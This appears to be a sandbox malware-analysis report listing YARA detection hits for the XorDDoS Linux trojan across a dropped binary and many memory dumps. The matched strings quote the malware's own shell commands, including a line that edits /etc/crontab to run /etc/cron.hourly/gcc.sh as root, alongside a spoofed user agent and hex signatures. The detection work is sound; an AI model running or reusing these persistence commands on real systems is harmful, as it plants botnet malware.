/usr/bin/zzdslzxygn	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x84cfb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x84d4d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x696f8:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x698a9:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
/usr/bin/zzdslzxygn	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x69998:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
/usr/bin/zzdslzxygn	Linux_Trojan_Xorddos_884cab60	unknown	unknown	0x79d2:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1 0x7a3a:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1
Click to see the 58 entries

Memory Dumps

Source	Rule	Description	Author	Strings
6465.1.0000000008048000.00000000080cd000.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
6465.1.0000000008048000.00000000080cd000.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x84cfb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x84d4d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x696f8:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x698a9:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
6465.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x69998:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
6465.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_884cab60	unknown	unknown	0x79d2:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1 0x7a3a:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1
6311.1.0000000008048000.00000000080cd000.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
6311.1.0000000008048000.00000000080cd000.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x84cfb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x84d4d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x696f8:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x698a9:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
6311.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x69998:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
6311.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_884cab60	unknown	unknown	0x79d2:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1 0x7a3a:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1
6418.1.0000000008048000.00000000080cd000.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
6418.1.0000000008048000.00000000080cd000.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x84cfb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x84d4d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x696f8:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x698a9:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
6418.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x69998:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
6418.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_884cab60	unknown	unknown	0x79d2:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1 0x7a3a:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1
6499.1.0000000008048000.00000000080cd000.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
6499.1.0000000008048000.00000000080cd000.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x84cfb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x84d4d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x696f8:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x698a9:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
6499.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x69998:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
6499.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_884cab60	unknown	unknown	0x79d2:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1 0x7a3a:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1
6429.1.0000000008048000.00000000080cd000.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
6429.1.0000000008048000.00000000080cd000.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x84cfb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x84d4d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x696f8:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x698a9:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
6429.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x69998:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
6429.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_884cab60	unknown	unknown	0x79d2:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1 0x7a3a:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1
6550.1.0000000008048000.00000000080cd000.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
6550.1.0000000008048000.00000000080cd000.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x84cfb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x84d4d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x696f8:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x698a9:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
6550.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x69998:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
6550.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_884cab60	unknown	unknown	0x79d2:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1 0x7a3a:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1
6458.1.0000000008048000.00000000080cd000.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
6458.1.0000000008048000.00000000080cd000.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x84cfb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x84d4d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x696f8:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x698a9:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
6458.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x69998:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
6458.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_884cab60	unknown	unknown	0x79d2:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1 0x7a3a:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1
6278.1.0000000008048000.00000000080cd000.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
6278.1.0000000008048000.00000000080cd000.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x84cfb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x84d4d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x696f8:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x698a9:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
6278.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x69998:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
6278.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_884cab60	unknown	unknown	0x79d2:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1 0x7a3a:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1
6373.1.0000000008048000.00000000080cd000.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
6373.1.0000000008048000.00000000080cd000.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x84cfb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x84d4d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x696f8:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x698a9:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
6373.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x69998:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
6373.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_884cab60	unknown	unknown	0x79d2:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1 0x7a3a:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1
6262.1.0000000008048000.00000000080cd000.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
6262.1.0000000008048000.00000000080cd000.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x84cfb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x84d4d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x696f8:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x698a9:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
6262.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x69998:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
6262.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_884cab60	unknown	unknown	0x79d2:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1 0x7a3a:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1
6426.1.0000000008048000.00000000080cd000.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
6426.1.0000000008048000.00000000080cd000.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x84cfb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x84d4d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x696f8:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x698a9:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
6426.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x69998:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
6426.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_884cab60	unknown	unknown	0x79d2:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1 0x7a3a:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1
6348.1.0000000008048000.00000000080cd000.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
6348.1.0000000008048000.00000000080cd000.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x84cfb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x84d4d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x696f8:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x698a9:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
6348.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x69998:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
6348.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_884cab60	unknown	unknown	0x79d2:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1 0x7a3a:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1
6518.1.0000000008048000.00000000080cd000.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
6518.1.0000000008048000.00000000080cd000.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x84cfb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x84d4d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x696f8:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x698a9:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
6518.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x69998:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
6518.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_884cab60	unknown	unknown	0x79d2:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1 0x7a3a:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1
6331.1.0000000008048000.00000000080cd000.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
6331.1.0000000008048000.00000000080cd000.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x84cfb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x84d4d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x696f8:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x698a9:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
6331.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x69998:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
6331.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_884cab60	unknown	unknown	0x79d2:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1 0x7a3a:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1
6282.1.0000000008048000.00000000080cd000.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
6282.1.0000000008048000.00000000080cd000.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x84cfb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x84d4d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x696f8:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x698a9:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
6282.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x69998:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
6282.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_884cab60	unknown	unknown	0x79d2:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1 0x7a3a:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1
6294.1.0000000008048000.00000000080cd000.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
6294.1.0000000008048000.00000000080cd000.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x84cfb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x84d4d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x696f8:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x698a9:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
6294.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x69998:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
6294.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_884cab60	unknown	unknown	0x79d2:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1 0x7a3a:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1
6336.1.0000000008048000.00000000080cd000.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
6336.1.0000000008048000.00000000080cd000.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x84cfb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x84d4d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x696f8:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x698a9:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
6336.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x69998:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
6336.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_884cab60	unknown	unknown	0x79d2:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1 0x7a3a:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1
6319.1.0000000008048000.00000000080cd000.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
6319.1.0000000008048000.00000000080cd000.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x84cfb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x84d4d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x696f8:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x698a9:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
6319.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x69998:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
6319.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_884cab60	unknown	unknown	0x79d2:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1 0x7a3a:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1
6475.1.0000000008048000.00000000080cd000.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
6475.1.0000000008048000.00000000080cd000.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x84cfb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x84d4d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x696f8:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x698a9:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
6475.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x69998:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
6475.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_884cab60	unknown	unknown	0x79d2:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1 0x7a3a:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1
6524.1.0000000008048000.00000000080cd000.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
6524.1.0000000008048000.00000000080cd000.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x84cfb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x84d4d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x696f8:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x698a9:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
6524.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x69998:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
6524.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_884cab60	unknown	unknown	0x79d2:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1 0x7a3a:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1
6393.1.0000000008048000.00000000080cd000.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
6393.1.0000000008048000.00000000080cd000.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x84cfb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x84d4d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x696f8:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x698a9:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
6393.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x69998:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
6393.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_884cab60	unknown	unknown	0x79d2:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1 0x7a3a:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1
6314.1.0000000008048000.00000000080cd000.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
6314.1.0000000008048000.00000000080cd000.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x84cfb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x84d4d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x696f8:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x698a9:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
6314.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x69998:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
